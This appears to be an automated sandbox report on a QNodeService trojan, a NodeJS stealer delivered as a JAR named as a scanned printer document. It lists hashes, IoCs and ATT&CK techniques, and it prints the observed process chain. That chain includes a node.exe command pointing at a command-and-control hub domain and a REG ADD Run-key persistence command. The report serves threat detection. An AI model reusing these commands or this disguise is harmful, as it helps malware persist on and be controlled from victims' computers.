qnodeservice | 51a266885dd543b93c91be648fd52e64fae3a3af8a17616e86357facb982622f

General

Target

Scanned from a Xerox Multifunction Printer.jar
Size

71KB
MD5

ef50330c3ba37193196fb2678b81c358
SHA1

fedda1f30f37cfbcd7a30fadfb32da968923bc55
SHA256

51a266885dd543b93c91be648fd52e64fae3a3af8a17616e86357facb982622f
SHA512

ea5a1a3b90f3663dea5408d49b6e453872fd6446d688ac409d9c750478c17b1b8ab2e47ea95e2f1860f9af4cf5b83fbbf806671781c09d6b2e08ef880f23b024

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1788	node.exe
1360	node.exe
1236	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\6d525496-aed7-45ef-84d3-bc52e5b4f80b = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab5f-174.dat	js
behavioral2/files/0x000100000001ab5f-177.dat	js
behavioral2/files/0x000100000001ab5f-181.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	wtfismyip.com
28	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1788	node.exe
1788	node.exe
1788	node.exe
1788	node.exe
1360	node.exe
1360	node.exe
1360	node.exe
1360	node.exe
1236	node.exe
1236	node.exe
1236	node.exe
1236	node.exe
1236	node.exe
1236	node.exe
1236	node.exe
1236	node.exe
1236	node.exe
1236	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4032 wrote to memory of 3672	4032	java.exe	75
PID 4032 wrote to memory of 3672	4032	java.exe	75
PID 3672 wrote to memory of 1788	3672	javaw.exe	79
PID 3672 wrote to memory of 1788	3672	javaw.exe	79
PID 1788 wrote to memory of 1360	1788	node.exe	81
PID 1788 wrote to memory of 1360	1788	node.exe	81
PID 1360 wrote to memory of 1236	1360	node.exe	82
PID 1360 wrote to memory of 1236	1360	node.exe	82
PID 1236 wrote to memory of 3580	1236	node.exe	84
PID 1236 wrote to memory of 3580	1236	node.exe	84
PID 3580 wrote to memory of 3936	3580	cmd.exe	85
PID 3580 wrote to memory of 3936	3580	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Scanned from a Xerox Multifunction Printer.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:4032
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\1c07e8ca.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain karimrnosa2.home-webserver.de
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1788
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_orce3J\boot.js --hub-domain karimrnosa2.home-webserver.de
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1360
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_orce3J\boot.js --hub-domain karimrnosa2.home-webserver.de
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1236
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "6d525496-aed7-45ef-84d3-bc52e5b4f80b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3580
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "6d525496-aed7-45ef-84d3-bc52e5b4f80b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1236-182-0x000001149F740000-0x000001149F741000-memory.dmp

Filesize
4KB

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memory/1360-178-0x000001DB6D0C0000-0x000001DB6D0C1000-memory.dmp

Filesize
4KB

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memory/1788-175-0x000003F5CFE80000-0x000003F5CFE81000-memory.dmp

Filesize
4KB

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